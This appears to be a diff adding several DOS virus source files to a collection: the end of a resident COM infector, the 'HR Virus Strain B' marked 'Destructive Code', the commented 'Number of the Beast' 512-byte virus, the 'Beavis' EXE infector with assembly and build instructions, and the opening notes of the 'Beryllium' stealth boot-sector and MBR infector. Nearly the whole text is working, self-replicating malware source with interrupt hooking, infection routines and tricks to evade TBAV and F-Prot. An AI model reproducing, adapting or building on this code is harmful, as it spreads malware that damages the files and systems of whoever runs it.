push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[table+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[table+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1221
dec ax
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
nop
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
nop
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
nop
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
nop
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
nop
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
nop
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
nop
mov cx,0bh ;
repe cmpsb ;
nop
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
nop
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
nop
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
nop
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
nop
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
nop
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
nop
call word ptr cs:[table] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
nop
call word ptr cs:[table] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
nop
mov ax,word ptr cs:[table+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
nop
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
nop
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
nop
jne mod_8_ext
call word ptr cs:[table+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[table],offset mod_1
ret
code ends
end start

@@ -0,0 +1,276 @@
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
virus_size EQU 554
code_start EQU 0100h
code segment 'code'
assume cs:code,ds:code,es:code
org code_start
main proc near
jmp virus_start
encrypt_val dw 0000h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov cx,offset virus_code+virus_size
mov si,offset virus_code ;start encryption at data
mov di,si
cld
xor_loop:
lodsw
xor ax,encrypt_val ;get encryption key
stosw
dec cx
jcxz stoppa
jmp xor_loop
stoppa:
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
mov cx,virus_size ;number of bytes to write
call encrypt ;encrypt file
mov ax,4000h ;write to file
int 21h ;
call encrypt ;fix up the mess
ret
virus_code:
vname db 'SKISM',0
wildcards db "*",0 ;search for directory argument
filespec db "*.COM",0 ;search for EXE file argument
rootdir db "\",0 ;argument for root directory
dirdata db 43 dup (?) ;holds directory DTA
filedata db 43 dup (?) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ?
tempseg dw ?
drivecode db ? ;holds drive code
currentdir db 64 dup (?) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ?
orig_date dw ?
orig_attr dw ?
idbuffer dw 2 dup (?)
virus:
mov ax,3000h ;get dos version
int 21h ;
cmp al,02h ;is it at least 2.00?
jb bus ;won't infect less than 3.00
mov ah,2ch ;get time
int 21h ;
add dh,cl ;add the two registers
mov encrypt_val,dx ;save m_seconds to encrypt val so
;we have up to 65,535 mutations
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
newdir:
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drivecode
inc dl ;add one to dl, because functions differ
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h ;
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
scandirs:
mov cx,13h ;look for directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h ;
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus:
jmp abort
copyright db 'Bad Brains'
dirloop:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h
je quit ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h ;
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.EXE",0
mov ah,4eh ;find first file function
int 21h ;
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
mov ah,1ah ;set dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h ;
jmp dirloop
quit:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h ;
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr ;
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h ;
mov ax,3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h ;
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h ;
mov bx, idbuffer ;fill bx with id string
cmp bx,03ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h ;
mov handle,ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle ;
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h ;
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h ;
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h ;
Abort:
mov ax,4c00h ;end program
int 21h ;
main endp
code ends
end main

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Binary file not shown.
@@ -0,0 +1,337 @@
;*******************************************************************************
;* *
;* THE NUMBER OF THE BEAST VIRUS *
;* *
;* This is NOT a original virus, but a modification. Main difference *
;* between original virus is, that this release support ANY DOS version *
;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). *
;* *
;* Modification (C) were made by *
;* *
;* Kiril Stoimenov & Stephen Genchev *
;* *
;* Source was (C) commented by *
;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 *
;* *
;* All Rights Reserved. *
;* *
;*******************************************************************************
;* *
;* We don't care about any damages caused by compiling and runnig *
;* of this program. Use it only at your responsible ! *
;* *
;* If you find any mistakes or inaccurates in this source or comments, *
;* please, let us know. Drop message for Waleri Todorov on Virus eXchange *
;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 *
;* *
;* Waleri Todorov *
;* *
;*******************************************************************************
org 0
mov ah,30h ; Get DOS version
int 21h
xchg ah,al ; Swap major and minor digit
cmp ax,31Eh ; Is DOS==3.30
mov si,7B4h ; Load offset of original int13
jae newdos ; If 3.30+ -> Proceed
mov si,10A5h ; Load offset of original int13
cmp al,10 ; Check for 3.10
je newdos ; If so -> proceed
mov si,1EC9h ; Load offset of original int13 for other DOS's
newdos: mov ds,cx ; This may cause trouble, because CX
; is NOT allways set to ZERO
mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area
movsw ; Save oroginal int13 vector
movsw ; to unused area in PSP
mov si,84h ; DS:SI point to 0000:0084 - int21 vector
movsw ; Save current int21 vector
movsw ; to unused area in PSP
lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21
push es ; Save ES
push di ; Save DI
mov si,8 ; DS:SI point in current int21 handler;
mov ch,1 ; CX=100h - As I said CX is not allways set to 0
repz cmpsw ; Check if virus v512 hold the int21 vector
push cs ;
pop ds ; Set DS to PSP
jz SkipInstall ; If virus is active -> SkipInstall
mov ah,52h
int 21h ; Get DOS table of table address
push es ; Save segment of table
mov si,00F8h ; DS:SI point virus WITH data area in PSP
sub di,di ; This will be offset in DOS buffer
les ax,dword ptr es:[bx+12h] ; Load address of first
; DOS buffer from table of tables
; This is the reason why virus
; will NOT work on DOS 4.X+
mov dx,es:[di+02] ; Load in DX segment of next DOS buffer
mov cx,0104h ; CX set to virus size (208h bytes)
repz movsw ; Move itself in DOS buffer
mov ds,cx ; Now CX is 0 so DS also become 0
mov di,0016h ; This will be used for finding parent PSP
mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset
mov [di+70h],es ; Set new int21 segment
pop ds ; Restore segment of table in DS
mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain
mov dx,cs ; DX is current PSP segment
mov ds,dx ; DS also
mov bx,[di-14h] ; Load LAST segment available
dec bh ; LastSegment-=0x0100
mov es,bx ; ES point in transit COMMAND.COM area
cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP
mov ds,[di] ; Load in DS segment of parent of COMMAND
mov dx,[di] ; Load in DX parent of parent of COMMAND
dec dx ; Decrement loaded segment
mov ds,dx ; Set DS to rezult
mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command
mov dx,di ; Save DI in DX
mov cl,28h ; Will move 80 bytes
repz movsw ; Do moving
mov ds,bx ; Set DS to transit COMMAND.COM segment
jb RunProcess ; If current process is less than parent
; then COMMAND strat in progress -> read original bytes
int 20h ; Else stop. File will run from decond start
; If this instruction will be replaced by
; PUSH CS; POP DS file will run from first time
SkipInstall: mov si,cx ; Set SI to 0
mov ds,[si+02Ch] ; Load in DS segment of envirement
SearchAgain: lodsw ; Load word from envirement
dec si ; Decrement envirement pointer
test ax,ax ; Test for zero in AX
jnz SearchAgain ; If not zero -> SearchAgain
add si,3 ; Else SI+=3; Now DS:SI point to filename in env
mov dx,si ; DS:DX point to filename for open
RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode
call CallDosGet ; Call int21 & get handle table address in DS:DI
mov dx,[di] ; Load file size in DX
mov [di+04],dx ; Set file pointer to end of file
add [di],cx ; Increase file size with 512 bytes
pop dx ; Restore file entry point (100h) to DX
; This used for reading original bytes
; of file at normal place
push dx ; Save entry point again
push cs ; Set ES point to virus segment
pop es ;
push cs ; Set DS point to virus segment
pop ds ;
push ds ; Save PSP segment
mov al,50h ; Push 50h. On stack is far address PSP:0050
; This are INT 21; RETF instructions
push ax ; Update returning address
mov ah,03Fh ; Set AH=3F - read file
retf ; Far return; Read original file
; and return control to it
CallDosGet: int 21h ; Open file; Open procedure will go trough virus
jc ErrorOpen ; If error occur -> Skip open
mov bx,ax ; Move file pointer in BX
; This could be XCHG AX,BX; that save 1 byte
GetHandleAddr: push bx ; Save file handle in stack
mov ax,1220h ; Get handle's table number
int 02Fh ; Via int 2F (undocumented)
mov bl,es:[di] ; Load table number in BL
mov ax,1216h ; Get handle table ADDRESS (ES:DI)
int 02Fh ; Via int 2F (undocumented)
pop bx ; Restore file handle from stack
push es ; Set DS to point table's segment
pop ds ;
add di,11h ; DI will point file's size entry intable
mov cx,0200h ; CX set to virus size
ErrorOpen: ret
ReadClean: sti ; Disable external interrupts request
push es ; Save important registers to stack
push si
push di
push bp
push ds ; Data buffer segment
push cx ; Bytes to read
call GetHandleAddr ; Get file handle's table address in DS:DI
mov bp,cx ; Save virus size in BP
mov si,[di+04] ; Save in SI current file pointer
pop cx ; Restore bytes to be readed in CX
pop ds ; Restore buffer segment
call ReadOriginal ; Open file with original int21
jc SkipClean ; If error while read -> skip cleaning
cmp si,bp ; Check if file pointer was in virus
jnb SkipClean ; If no -> nothing to clean
push ax ; Save readed bytes
mov al,es:[di-04] ; Load AL with file time
not al ;
and al,01Fh ; Mask seconds of file time
jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do
add si,es:[di] ; Add to current pointer file size
; Now SI point to requested offset,
; BUT in original file bytes
xchg si,es:[di+04] ; Set new file pointer and save old file pointer
add es:[di],bp ; Increase file size with virus size
call ReadOriginal ; Open file via original int21
mov es:[di+04],si ; Restor file pointer
lahf ; ??? I don't know. If you do let me know
sub es:[di],bp ; Decrease file size with virus size
sahf ; ??? I don't know. If you do let me know
SkipCleanPop: pop ax ; Restore readed bytes
SkipClean: pop bp ; Restore saved imortant register
pop di
pop si
pop es
db 0CAh, 2, 0 ; RETF 2
ReadOriginal: mov ah,03Fh
CallDOS: pushf
push cs
call JumpDOS
ret
; Following few bytes are int21 handler. They check if file is open close or
; executed and clean or infect file with virus. Here there is serious problem -
; from time to time virus infect file which is NOT COM file (EXE file will be
; destroyed, by the way).
; More about this later in comments
int21: cmp ah,03Fh ; If function is Read file
jz ReadClean ; then go and read original bytes
push ds ; Save important registers
push es
push ax
push bx
push cx
push dx
push si
push di
cmp ah,03Eh ; If function is Close file
jz CloseInfect ; then Close and Infect
cmp ax,04B00h ; If execute file
mov ah,03Dh ; then open file before execute
; After opening file will be closed
; and .... Infected
jz Infect ;
TerminateInt: pop di ; Restore important registers
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21
CloseInfect: mov ah,45h
Infect: call CallDosGet ; Duplicate file handler
jc TerminateInt ; If error -> terminate
sub ax,ax ; Set AX to 0
mov [di+04],ax ; Set file pointer to 0
mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write
cld
mov ds,ax ; Set DS point to interrupt table
mov si,004Ch ; SI point to int13 offset
lodsw ; Load int13 offset
push ax ; and save it in stack
lodsw ; Load int13 segment
push ax ; and save it in stack
push [si+40h] ; Save int24 offset
push [si+42h] ; Save int24 segment
lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13
mov ax,2513h ; and set it via DOS function SetVector
int 21h ;
push cs ; Set DS point to virus segment
pop ds ;
mov dx,offset int24+8 ; Load in DX offset of int24 handler
mov al,24h ; Set int24 vector
int 21h ; via DOS function SetVector
push es ; Set DS point to handle table segment
pop ds ;
mov al,[di-04] ; Load AL with file time
; As I said in some case virus will infect non-COM file. This may happend
; if file you work with has time set to 62 seconds. In this case virus infect
; file without checking filename. This WILL damage EXE file. DOS will treat
; this files as COM files, but usualy their size is bigger than 64K, so DOS
; cannot run it. If file is less than 64K then virus run and read original
; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
; files this is EXEheader, so execution FAIL (your system CRASH)
and al,01Fh ; Mask seconds
cmp al,01Fh ; Check if seconds == 31 (62sec)
jz NoNameCheck ; If so -> infect with no name check
mov ax,[di+17h] ; Load AX with first 2 letters of file extension
sub ax,04F43h ; If file is NOT *.CO?
jnz SkipInfect ; SkipInfect
NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec)
mov ax,[di] ; Set AX to file size
cmp ax,cx ; Check file size and virus size
jb SkipInfect ; If file is less than 512 bytes -> Don't infect
add ax,cx ; Increase file size with virus size
jc SkipInfect ; If file is bigger than (65535-512) -> no infect
test byte ptr [di-0Dh],04 ; Check file attribute
jnz SkipInfect ; If SYSTEM file -> don't infect it
lds si,dword ptr [di-0Ah] ; Load DS:SI with device header
dec ax ; AX (file size with virus) --
shr ah,1 ; AX/=2
and ah,[si+04] ; Check if enough place in cluster behind file
jz SkipInfect ; If no place -> terminate infection
mov ax,0020h ; DS = 20 (Second part of int table)
mov ds,ax ;
sub dx,dx ; DS:DX point to virus transfer buffer
call ReadOriginal ; Open file with original int21
mov si,dx ; Save virus buffer offset in SI
push cx ; Save virus size
LoopCheck: lodsb
cmp al,cs:[si+07] ; Compare readed data with virus code
jnz WriteFile ; If at least ONE byte different -> fuck file
loop LoopCheck ; Check all virus code with buffer
pop cx ; Restore virus size
SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec
NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word
; In case of file this is flag area. Setting bit 14
; as virus does, mean for DOS "Don't set file date/time when close"
; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
; then DOS will set current time to file. Virus should avoid this, or
; DOS will overwrite seconds field and they (seconds) will be normal
SkipInfect: mov ah,03Eh ; Close file
call CallDOS ; via original int21
or byte ptr es:[di-0Ch],40h ; Set flag... See above
pop ds ; Restore original int24
pop dx
mov ax,2524h ; via SetVector
int 21h
pop ds ; Restore original int13
pop dx
mov al,13h ; via SetVector
int 21h
jmp TerminateInt ; All done, jump to DOS
WriteFile: pop cx ; Restore virus size to CX
mov si,es:[di] ; Save current file size in SI
mov es:[di+04],si ; Move file pointer at the end of file
mov ah,40h ; Write to file its first 512 bytes at the end
int 21h
jc NoUpdateTime ; If error occur file time will be normal
mov es:[di],si ; Set file size to be as before (file size
; will remain unchanged)
mov es:[di+04],dx ; Set file pointer to beginning of file
push cs ; Set DS:DX point to virus
pop ds ;
mov dl,08 ; Skip first 8 bytes of virus, because they
; are a buffer for int handlers adresses
mov ah,40h ; Write virus at the beginning of file
int 21h ;
jmp SetFileTime ; File now OK infected, so his time must be
; set to 62 sec
int24: iret ; int 24 handler. Avoid "Write protected error..."
db '666' ; Virus signature

@@ -0,0 +1,381 @@
;****************************************************************************
;* Beavis *
;* by Crypt Keeper *
;****************************************************************************
;Beavis is a memory resident infector of EXE files that infects files as
;they are executed. It only loads itself resident if a high memory manager
;is present, loading itself into the UMB (above 640k). It triggers randomly
;at file execution, displaying a random Beavis quote from Beavis and Butthead.
;TASM BEAVIS.ASM /M3
;TLINK BEAVIS.OBJ
;EXE2BIN BEAVIS.EXE BEAVIS.COM
;.COM file is ready to run with no modifications.
.model tiny
.code
vtop equ $ ;top of virus code block
;Equates --------------------------------------------------------------------
vlength equ vbot-vtop ;virus length in bytes
heapsiz equ hbot-heap ;heap size in bytes
vlres equ ((vlength+heapsiz)/16)+1 ;virus length in paragraphs
vlpage equ (vlength/512)+1 ;virus length in pages
chkfunc equ 9AD5h ;check resident int 21h function
virusid equ 150h ;virus ID word in exeheader
;----------------------------------------------------------------------------
cld ;clear direction flag
db 0BDh ;mov bp,
delta dw 100h ;delta offset
lea sp,[bp+(offset(sspace)+30)] ;set up new stack
push ds
push es ;save original EXE segments
mov ax,chkfunc
xor cx,cx
mov ds,cx
pushf ;This calls INT 21h while eliminating
call dword ptr ds:[21h*4] ;TBAV's undocumented DOS call flag.
push cs
pop ds
cmp ax,chkfunc-1 ;did virus return reply?
jne install ;if not, install resident
jmp return ;if so, return to original program
install:
mov ax,3521h ;get int 21h vector
int 21h
mov [bp+offset(i21veco)],bx
mov [bp+offset(i21vecs)],es
mov ax,4300h ;get himem.sys installed state
int 2Fh ;multiplex interrupt
cmp al,80h ;80h in al means himem.sys is loaded
jne return ;Return if no High-Memory manager
mov ax,4310h ;get himem.sys entry point adress
int 2Fh
mov [bp+offset(himem_s)],es
mov [bp+offset(himem_o)],bx ;himem.sys entry point
mov ah,10h ;allocate UMB (function 10h)
mov dx,vlres ;paragraphs to request
call dword ptr [bp+offset(himem_o)] ;call himem.sys
mov es,bx ;BX will contain segment of memory
mov si,bp ;bp=start of virus code
mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data
xor di,di
rep movsw ;copy virus code up there
push es
pop ds
mov dx,offset(i21vec) ;new int 21h vector
mov ax,2521h ;set int 21h vector
int 21h
return: mov ah,51h ;Get PSP adress
int 21h
add bx,16 ;Compensate for PSP size
pop es
pop ds ;Restore original ES and DS from EXE
cli ;Clear interrupts for stack change
mov sp,cs:[bp+offset(old_sp)]
mov ax,cs:[bp+offset(old_ss)]
add ax,bx ;Find segment for SS
mov ss,ax ;Reset original EXE stack
sti
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
;----------------------------------------------------------------------------
move_pointer_end:
xor cx,cx
xor dx,dx ;move pointer 0 bytes
mov ax,4202h ;move pointer to end of file
int 21h
ret
;Data -----------------------------------------------------------------------
talk1 db 'FIRE FIRE FIRE!$'
talk2 db 'Hey butthead this sucks change the channel!$'
talk3 db 'Shut up butthead or I''ll kick your ass!$'
talk4 db 'We''re there dude.$'
talk5 db 'The Beavis virus kicks ass!$'
old_sp dw 0
old_ss dw 0FFF0h ;Old SS:SP
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
;----------------------------------------------------------------------------
i21vec: nop
xchg ax,cx ;get rid of TBAV's execution intercept
;heuristic flag.
cmp cx,4B00h ;load and execute program?
je vtrigger
cmp cx,4B01h ;load program?
je vtrigger
xchg ax,cx
cmp ax,chkfunc ;check if virus is resident?
je return_reply
jmp dword ptr cs:i21veco
return_reply:
dec ax ;decrement AX
iret ;return from interrupt
vtrigger:
xchg ax,cx
push ax si bx cx di es ds dx ;save all used registers
mov ax,4300h ;get file attributes
int 21h
jc exitvec ;exit if filename invalid
mov cs:oldattr,cx ;save old file attributes
xor cx,cx ;set attributes to normal
mov ax,4301h ;set file attributes
int 21h
mov ax,3D02h ;open file for read/write access
int 21h
jc exitvec ;exit if open permission denied
mov bx,ax ;file handle
push cs
pop ds
mov ax,5700h ;get file date and time
int 21h
mov olddate,dx
mov oldtime,cx ;save old file date and time
mov cx,28 ;28 bytes to read
mov dx,offset(readbuffer) ;buffer to recieve data
mov ah,3Fh ;read file or device
int 21h
cmp ax,28
jb closeexit ;close and exit if file too small
cmp init_sp,virusid ;is file alredy infected?
je closeexit
mov ax,idword
xor ax,0ABCDh ;kill TBAV's check exe/com flag
cmp ax,0E697h
je infect_exe
cmp ax,0F180h
je infect_exe ;if MZ or ZM, go ahead and infect
jmp short closeexit ;if not, don't infect
exitvec:
pop dx ds es di cx bx si ax ;restore all used registers
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
closeexit:
mov cx,oldtime
mov dx,olddate ;restore old time and date
mov ax,5701h ;set file date and time
int 21h
mov ah,3Eh ;close file with handle
int 21h
mov cx,cs:oldattr ;old file attributes
pop dx ds
push ds dx ;get old filename off stack
mov ax,4301h ;set file attributes
int 21h
mov ah,2Ch ;get time
int 21h
cmp cl,dh ;do seconds and minutes line up?
jne exitvec ;if not, no trigger
push cs
pop ds
inc dl
mov al,dl
xor ah,ah
mov bl,20
div bl ;convert to random number 0-5
cmp al,0
je _talk1
cmp al,1
je _talk2
cmp al,2
je _talk3
cmp al,3
je _talk4
cmp al,4
je _talk5 ;select message
_talk1: mov dx,offset(talk1)
jmp short _talk
_talk2: mov dx,offset(talk2)
jmp short _talk
_talk3: mov dx,offset(talk3)
jmp short _talk
_talk4: mov dx,offset(talk4)
jmp short _talk
_talk5: mov dx,offset(talk5)
_talk: mov ah,9 ;print string
int 21h
jmp short exitvec ;exit
infect_exe:
les si,dword ptr ds:init_ss ;get initial SS:SP (reversed)
mov old_ss,si
mov old_sp,es
les si,dword ptr ds:init_ip ;get initial CS:IP
mov old_cs,es
mov old_ip,si
call move_pointer_end ;move file pointer to end of file
mov cx,10h
div cx ;convert to paragraphs
push ax
sub ax,hsize ;subtract header size in paragraphs
pop cx
cmp ax,cx
ja _closeexit ;If file too small, end infection
mov init_cs,ax
mov init_ip,dx ;set initial CS:IP in exe header
mov delta,dx ;set delta offset in virus
mov init_sp,virusid
mov init_ss,ax ;set initial SS:SP in exe header
add word ptr ds:minmem,vlres ;add virus length to minimum memory
mov cx,vlength ;number of bytes in virus
xor dx,dx
mov ah,40h ;write file or device
int 21h
call move_pointer_end ;move file pointer to end of file
mov cx,512
div cx ;change bytes in new file to pages
cmp dx,0 ;no remainder?
je go_ahead_set
inc ax ;if remainder, add another page
go_ahead_set:
mov word ptr pages,ax
mov word ptr lastpg,dx ;set EXE file size
xor dx,dx
xor cx,cx
mov ax,4200h ;move file pointer to beginning of file
int 21h
mov cx,28 ;28 bytes in header
mov dx,offset(readbuffer)
mov ah,40h ;write file or device
int 21h
_closeexit:
jmp closeexit ;close and exit
;----------------------------------------------------------------------------
copr db '[BEAVIS] by Crypt Keeper'
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
heap equ $ ;Beginning of heap
readbuffer:
idword dw 0 ;ID word
lastpg dw 0 ;Number of bytes in last page
pages dw 0 ;Total pages
segent dw 0 ;number of entries in segment table
hsize dw 0 ;header size in paragraphs
minmem dw 0 ;minimum memory to request
maxmem dw 0 ;maximum memory to request
init_ss dw 0 ;initial SS value
init_sp dw 0 ;initial SP value
negchk dw 0 ;negative checksum
init_ip dw 0 ;initial IP value
init_cs dw 0 ;initial CS value
reltab dw 0 ;offset of relocation table from header
ovnum dw 0 ;overlay number
himem_o dw 0
himem_s dw 0 ;himem.sys entry point adress
i21veco dw 0
i21vecs dw 0 ;int 21h vector
oldattr dw 0 ;old file attributes
oldtime dw 0
olddate dw 0 ;old saved time and date
hbot equ $ ;bottom of heap
sspace db 32 dup (0) ;virus stack space
;not used when resident so not
;included in heap space
end
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,422 @@
;=============================================================================
; Virus Name: Beryllium
;
; Notes:
; - resident, stealth, boot sector/MBR infector
; - places only 22 bytes of benign code in a boot sector or MBR
; thereby totally avoiding heuristic alarms even when the virus
; is not resident to provide stealth
; - resident virus not detected by F-Prot Virstop due to a
; "password" located at installed virus offset 102h
; - detects the presence of A-V monitors and deactivates while
; they are present
; - MBR and floppy boot sector stealth
; - post-infection MBR write protection
; - functionally infects all floppy formats in drives A and B
;
; To Compile:
; - use shareware A86 assembler
